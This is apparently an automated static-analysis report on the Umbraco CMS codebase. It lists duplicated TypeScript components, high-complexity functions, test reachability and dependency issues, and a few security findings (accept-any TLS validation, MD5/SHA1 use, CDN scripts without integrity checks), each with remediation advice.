src/Umbraco.Web.UI.Client/src/packages/documents/document-blueprints/workspace/document-blueprint-workspace-editor.element.ts:4 · src/Umbraco.Web.UI.Client/src/packages/documents/documents/workspace/document-workspace-editor.element.ts:4 — these 2 files are line-for-line copies of one another — 113 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done. — src/Umbraco.Web.UI.Client/src/packages/documents/document-blueprints/workspace/document-blueprint-workspace-editor.element.ts:4
src/Umbraco.Web.UI.Client/src/packages/media/media/workspace/media-workspace-editor.element.ts:11 · src/Umbraco.Web.UI.Client/src/packages/members/member/workspace/member/member-workspace-editor.element.ts:11 — the two spans are one implementation copied and then locally edited — 617 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/media/media/workspace/media-workspace-editor.element.ts:11
src/Umbraco.Web.UI.Client/src/packages/members/member-group/components/input-member-group/input-member-group.element.ts:92 · src/Umbraco.Web.UI.Client/src/packages/members/member/components/input-member/input-member.element.ts:93 — the two spans are one implementation copied and then locally edited — 673 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/members/member-group/components/input-member-group/input-member-group.element.ts:92
src/Umbraco.Web.UI.Client/src/packages/core/collection/item/umb-entity-collection-item-element-base.element.ts:58 · src/Umbraco.Web.UI.Client/src/packages/core/entity-item/entity-item-ref/entity-item-ref.element.ts:62 — the two spans are one implementation copied and then locally edited — 668 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/core/collection/item/umb-entity-collection-item-element-base.element.ts:58
src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/unpublish/modal/document-unpublish-modal.element.ts:28 · src/Umbraco.Web.UI.Client/src/packages/elements/publishing/unpublish/modal/element-unpublish-modal.element.ts:18 — the two spans are one implementation copied and then locally edited — 657 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/unpublish/modal/document-unpublish-modal.element.ts:28
src/Umbraco.Web.UI.Client/src/packages/core/icon-registry/icon-picker-modal/icon-search.controller.ts:17 · src/Umbraco.Web.UI.Client/src/packages/core/property-editor/ui-picker-modal/property-editor-ui-search.controller.ts:18 — the two spans are one implementation copied and then locally edited — 735 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/core/icon-registry/icon-picker-modal/icon-search.controller.ts:17
src/Umbraco.Web.UI.Client/src/packages/documents/documents/workspace/views/info/document-workspace-view-info.element.ts:19 · src/Umbraco.Web.UI.Client/src/packages/elements/workspace/views/info/element-workspace-view-info.element.ts:24 — the two spans are one implementation copied and then locally edited — 518 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/documents/documents/workspace/views/info/document-workspace-view-info.element.ts:19
src/Umbraco.Web.UI.Client/src/packages/documents/document-types/entity-actions/import/modal/document-type-import-modal.element.ts:12 · src/Umbraco.Web.UI.Client/src/packages/media/media-types/entity-actions/import/modal/media-type-import-modal.element.ts:9 · src/Umbraco.Web.UI.Client/src/packages/members/member-type/entity-actions/import/modal/member-type-import-modal.element.ts:9 — the 3 copies are spread across 3 directories, so the shared home is a decision rather than an obvious spot: check first whether one of them already owns this behaviour, and otherwise put the extracted module somewhere all of the sites already reach rather than making one of them depend on another. — src/Umbraco.Web.UI.Client/src/packages/documents/document-types/entity-actions/import/modal/document-type-import-modal.element.ts:12
src/Umbraco.Web.UI.Client/src/packages/content/content/audit-log/info-app/content-audit-log-workspace-info-app.element.ts:54 · src/Umbraco.Web.UI.Client/src/packages/documents/documents/audit-log/info-app/document-history-workspace-info-app.element.ts:46 — the two spans are one implementation copied and then locally edited — 642 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/content/content/audit-log/info-app/content-audit-log-workspace-info-app.element.ts:54
src/Umbraco.Web.UI.Client/src/packages/core/components/multiple-color-picker-input/multiple-color-picker-input.element.ts:26 · src/Umbraco.Web.UI.Client/src/packages/core/components/multiple-text-string-input/input-multiple-text-string.element.ts:27 — the two spans are one implementation copied and then locally edited — 583 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/core/components/multiple-color-picker-input/multiple-color-picker-input.element.ts:26
src/Umbraco.Web.UI.Client/src/packages/block/block-list/components/inline-list-block/inline-list-block.element.ts:141 · src/Umbraco.Web.UI.Client/src/packages/block/block-single/components/inline-single-block/inline-single-block.element.ts:85 — the two spans are one implementation copied and then locally edited — 454 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/block/block-list/components/inline-list-block/inline-list-block.element.ts:141
src/Umbraco.Web.UI.Client/src/packages/elements/publishing/publish/entity-bulk-action/publish.bulk-action.ts:2 · src/Umbraco.Web.UI.Client/src/packages/elements/publishing/unpublish/entity-bulk-action/unpublish.bulk-action.ts:2 — these 2 files are line-for-line copies of one another — 86 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done. — src/Umbraco.Web.UI.Client/src/packages/elements/publishing/publish/entity-bulk-action/publish.bulk-action.ts:2
src/Umbraco.Web.UI.Client/src/packages/templating/partial-views/repository/partial-view-detail.server.data-source.ts:16 · src/Umbraco.Web.UI.Client/src/packages/templating/scripts/repository/script-detail.server.data-source.ts:13 · src/Umbraco.Web.UI.Client/src/packages/templating/stylesheets/repository/stylesheet-detail.server.data-source.ts:16 — the 3 copies are spread across 3 directories, so the shared home is a decision rather than an obvious spot: check first whether one of them already owns this behaviour, and otherwise put the extracted module somewhere all of the sites already reach rather than making one of them depend on another. — src/Umbraco.Web.UI.Client/src/packages/templating/partial-views/repository/partial-view-detail.server.data-source.ts:16
src/Umbraco.Web.UI.Client/src/packages/elements/item/data-resolver/element-item-data-resolver.ts:36 · src/Umbraco.Web.UI.Client/src/packages/media/media/item/media-item-data-resolver.ts:25 — the two spans are one implementation copied and then locally edited — 563 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/elements/item/data-resolver/element-item-data-resolver.ts:36
src/Umbraco.Web.UI.Client/src/packages/content/content/publishing/unpublish/modal/content-unpublish-modal.element.ts:59 · src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/unpublish/modal/document-unpublish-modal.element.ts:69 — the two spans are one implementation copied and then locally edited — 571 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one. — src/Umbraco.Web.UI.Client/src/packages/content/content/publishing/unpublish/modal/content-unpublish-modal.element.ts:59
What to do
Extract the duplicated blocks into shared functions/components.
React / JS · Architecture — Conformance to the detected frontend architecture layout (feature-sliced / layered src) plus cross-package deep-import rules (D-386).
Method: Conformance to the detected frontend layout (feature-sliced / layered src) plus cross-package deep-import rules, over the module graph. Deterministic.
src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts:11 reaches into another package with a relative path (../../src/packages/core/icon-registry/icon-dictionary.json) — import the package by name instead. — src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts:11
src/Umbraco.Web.UI.Client/src/packages/sysinfo/repository/sysinfo.repository.ts:1 reaches into another package with a relative path (../../../../package.json) — import the package by name instead. — src/Umbraco.Web.UI.Client/src/packages/sysinfo/repository/sysinfo.repository.ts:1
React / JS · Code Health — Per-function cyclomatic/cognitive complexity from the token-level function scanner (D-386) — real branching, not a regex heuristic.
Method: Per-function cyclomatic/cognitive complexity from a token-level function scanner (real branching, not a regex heuristic), computed over every frontend function. Deterministic.
(anonymous) has cyclomatic complexity 47 and cognitive complexity 85; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:961
_updatePlacement has cyclomatic complexity 33 and cognitive complexity 76; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/external/uui/uui-popover.element.ts:259
build has cyclomatic complexity 32 and cognitive complexity 31; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — tests/Umbraco.Tests.AcceptanceTest/lib/builders/userGroups/userGroupsPermissionsBaseBuilder.ts:208
(top-level) has cyclomatic complexity 28 and cognitive complexity 31; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/core/components/input-dimensions/input-dimensions.element.ts:1
#loadChildren has cyclomatic complexity 28 and cognitive complexity 27; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts:219
loadManifestApi has cyclomatic complexity 25 and cognitive complexity 47; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-api.function.ts:17
loadManifestElement has cyclomatic complexity 25 and cognitive complexity 47; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-element.function.ts:16
ObjectExpression has cyclomatic complexity 25 and cognitive complexity 34; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/devops/eslint/rules/enforce-manifest-alias.cjs:148
moveItemInModel has cyclomatic complexity 24 and cognitive complexity 48; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:1271
updated has cyclomatic complexity 23 and cognitive complexity 22; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/core/tree/default/default-tree.element.ts:150
getValues has cyclomatic complexity 22 and cognitive complexity 21; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — tests/Umbraco.Tests.AcceptanceTest/lib/builders/dataTypes/blockGridBuilder/blockGridBlockBuilder.ts:132
createExtensionElementWithApi has cyclomatic complexity 21 and cognitive complexity 28; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/create-extension-element-with-api.function.ts:19
build has cyclomatic complexity 21 and cognitive complexity 20; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — tests/Umbraco.Tests.AcceptanceTest/lib/builders/documentTypes/documentTypeBuilder.ts:150
flush has cyclomatic complexity 20 and cognitive complexity 37; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/media/imaging/imaging-request-batcher.ts:36
#getStyles has cyclomatic complexity 20 and cognitive complexity 21; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/table/actions/table-properties.action.ts:55
#onSubmit has cyclomatic complexity 19 and cognitive complexity 23; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Login/src/components/layouts/new-password-layout.element.ts:83
constructor has cyclomatic complexity 19 and cognitive complexity 18; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive sits below cyclomatic here, so much of the count is breadth — arms side by side rather than stacked — and splitting per arm would leave a function per arm; group the work between the checks into named steps instead. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/core/modal/context/modal.context.ts:68
(anonymous) has cyclomatic complexity 18 and cognitive complexity 30; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/libs/extension-api/controller/base-extension-initializer.controller.ts:266
#onKeydown has cyclomatic complexity 18 and cognitive complexity 30; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/src/packages/core/search/search-modal/search-modal.element.ts:247
#loadData has cyclomatic complexity 18 and cognitive complexity 29; this row is raised above a cyclomatic bar of 10. The two numbers answer different questions and the gap between them is what decides whether to act: cyclomatic counts the independent arms through the body, cognitive counts what it costs to hold them in your head, so nesting and mixed boolean chains raise it while a flat run of independent arms does not. Cognitive is at or above cyclomatic here, so the branching is nested or entangled rather than laid out side by side — extracting each decision into its own named function is the change that pays. Measured by this repository's own parse of the file, so a body assembled at runtime, or generated, is counted as written rather than as it executes. — src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts:53
What to do
Break down the listed branch-heavy functions; aim P95 cyclomatic ≤ 5.
Do you agree with this assessment?
R3 · Large Files9.5 / 10Exemplary✓ Tool-verified
React / JS · Code Health — How many source files exceed the large-file threshold.
Method: Components/modules exceeding the large-file threshold, counted exhaustively across the frontend source tree. Deterministic.
What to do
Split each oversized file along the responsibilities already in it, into smaller focused modules in the same package.
Do you agree with this assessment?
R4 · Test Coverage9.8 / 10Exemplary✓ Tool-verified
React / JS · Readiness — Static test reachability (D-386): the share of production files reachable from any test via the import graph — measured without running anything.
Method: Static test reachability: the share of production files reachable from any test via the import graph — measured without running anything. Deterministic.
No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one. (×40) — src/Umbraco.Web.UI.Login/src/auth.element.ts, src/Umbraco.Web.UI.Client/devops/icon-manager/icon-editor.element.ts, src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts, …
What to do
21 of the 84 unreached modules are entry points — the browser loads some as a top-level script and something else executes the rest by path, so no import specifier addresses them and no public entry publishes them. An importing test cannot be written for them as they ship, and two different things are worth doing here — they are not the same thing. To EXERCISE them, a browser or end-to-end suite that loads the page, or a test that runs the script the way its caller does; that is worth having, but it will NOT clear this row, because reachability is measured over the import graph and running a file by path adds no edge to it. To CLEAR it, make them addressable: lift the logic into a module a test can import and leave the entry points thin shims over it, or put their bodies behind a main-guard (`import.meta.url === argv[1]`) and export them. Add tests that import the other 63 — directly or through their public entry.
React / JS · Readiness — How outdated the npm dependencies are (a maturity signal). JS/npm CVEs are scored separately in D30 (JS/npm Dependency Vulnerabilities).
Method: npm dependency staleness from manifest/registry metadata (a maturity signal; JS/npm CVEs are scored separately in D30, which answers dependency vulnerabilities for every ecosystem). Deterministic.
What to do
Bump outdated dependencies to current versions to limit upgrade debt.
Do you agree with this assessment?
R6 · Tooling10.0 / 10Exemplary✓ Tool-verified
React / JS · Readiness — Whether the project wires up test, lint and typecheck — detected from each package.json script's COMMAND (eslint / tsc / vitest / jest / playwright), not just its name, and corroborated against CI-workflow invocations so a tool run only in CI still counts.
Method: package.json scanned for test/lint/typecheck script wiring. Deterministic presence check.
Do you agree with this assessment?
R7 · Dead Code10.0 / 10Exemplary✓ Tool-verified
React / JS · Code Health — Files unreachable from every application/tooling/test entry point, and exports nothing imports (module-graph reachability, D-386).
Method: Dead code: files unreachable from every application/tooling/test entry point plus exports nothing imports, via module-graph reachability. Deterministic, exhaustive over the import graph.
1 file(s) (~50 LoC) were excluded from dead-code analysis — declare main/module/exports or a conventional entry (src/index.*, an index.html script) so reachability can see this package.
462 file(s) (~102930 LoC) were excluded from dead-code analysis. This package's entry point(s) resolved, but the walk stopped one hop in: src/Umbraco.Web.UI.Client/src/export-consts.test.ts imports '../utils/all-umb-consts/index.js', which is not in the scanned tree. That is usually a generated or build-output module, so reachability cannot see past it and no dead-code claim is made about this package. Nothing is necessarily wrong here. — src/Umbraco.Web.UI.Client
3 file(s) (~320 LoC) were excluded from dead-code analysis — declare main/module/exports or a conventional entry (src/index.*, an index.html script) so reachability can see this package. — src/Umbraco.Web.UI.Client/.storybook
React / JS · Readiness — npm dependency truthfulness (D-386): unused dependencies, imports not declared anywhere, and type-/test-only packages shipped as production deps.
Method: npm dependency truthfulness: unused dependencies, imports declared nowhere, and type-/test-only packages shipped as production deps — from the manifest + import graph. Deterministic.
Imported but not declared in any reachable package.json — installs work only by hoisting accident. (×23) — src/Umbraco.Web.UI.Client/.storybook/preview.js:1, src/Umbraco.Web.UI.Client/.storybook/preview.js:9, src/Umbraco.Web.UI.Client/src/packages/block/block-grid/clipboard/block/copy/block-grid-to-block-copy-translator.test.ts:2, …
Declared in src/Umbraco.Web.UI.Client/src/packages/tiptap/package.json but never imported anywhere in that package or its workspace members — no static import reaches it. Usually that is dead weight and attack surface, but two shapes are indistinguishable from source and are NOT dead: an optional or native peer that another dependency loads dynamically at runtime, and a package a build, docs or test step installs and invokes separately. Confirm which of the three this is before removing it.
What to do
Remove unused dependencies, declare unlisted imports explicitly, and demote type-/test-only packages to devDependencies.
React / JS · Architecture — Import cycles in the module graph (D-386) — files that can only be understood and changed together.
Method: Import cycles in the module graph, detected exhaustively over JS/TS imports (the same cycle detection as the .NET coupling dimension). Deterministic.
Other · Security — Transport security, security headers, secure cookies, input validation, middleware order and crypto hygiene (presence, not runtime).
`ServerCertificateCustomValidationCallback` is assigned `DangerousAcceptAnyServerCertificateValidator`, so every TLS peer certificate is accepted — including one an attacker presents. Chain, expiry, revocation and hostname are all skipped, so an attacker on the network path can present any certificate and read or rewrite the traffic — the connection is encrypted to the attacker, not to the intended host. Delete the override and let the platform validate. If a specific self-signed or internally-issued certificate genuinely has to be trusted, pin THAT one — compare the presented certificate's public key or thumbprint against the expected value and return `false` for everything else — and scope it to the single handler that talks to that host rather than to the whole process. If the override exists only to get past a development certificate, gate it on a build configuration or an explicit opt-in setting so it cannot ship. — src/Umbraco.Web.Common/DependencyInjection/UmbracoBuilderExtensions.cs:251
MD5/SHA1 is constructed here, and both are collision-broken. If this digest protects anything — a signature, an integrity or tamper check, a credential, or any value an attacker can influence — that is a real weakness: use SHA-256+ for content integrity, or a KDF (PBKDF2/Argon2/BCrypt) for password storage. If it only derives a non-security identifier (a cache key, a file or mutex name), collision resistance carries no security consequence here; make that intent explicit instead — a non-cryptographic hash such as `System.IO.Hashing.XxHash64`/`Crc32` says it in code — since the algorithm alone cannot distinguish the two uses. This repository constructs a collision-broken hash (MD5/SHA1) at 7 sites, not one: `src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:321` (SHA1), `src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:325` (MD5), `src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:225` (MD5), `src/Umbraco.Core/HashGenerator.cs:152` (SHA1), `src/Umbraco.Core/IO/FileSystemExtensions.cs:26` (SHA1), `src/Umbraco.Core/Security/LegacyPasswordSecurity.cs:234` (SHA1), `src/Umbraco.Core/Security/LegacyPasswordSecurity.cs:238` (MD5). Each is a separate decision — fixing only the line this row cites leaves the others in place. — src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:321
`https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js` is executed by this page with no Subresource Integrity. Whoever can answer that request — the CDN, anyone who compromises it, anyone on the network path — runs arbitrary script in this page's origin, with its session. 9 such include(s) across the repository's markup. — src/Umbraco.Core/EmbeddedResources/Snippets/EditProfile.cshtml:31
What to do
Stop accepting every TLS certificate: remove the always-true validation callback so the platform verifies the chain, hostname and expiry. If one self-signed certificate must be trusted, pin it by public key or thumbprint on the single handler that needs it and reject all others — never process-wide.
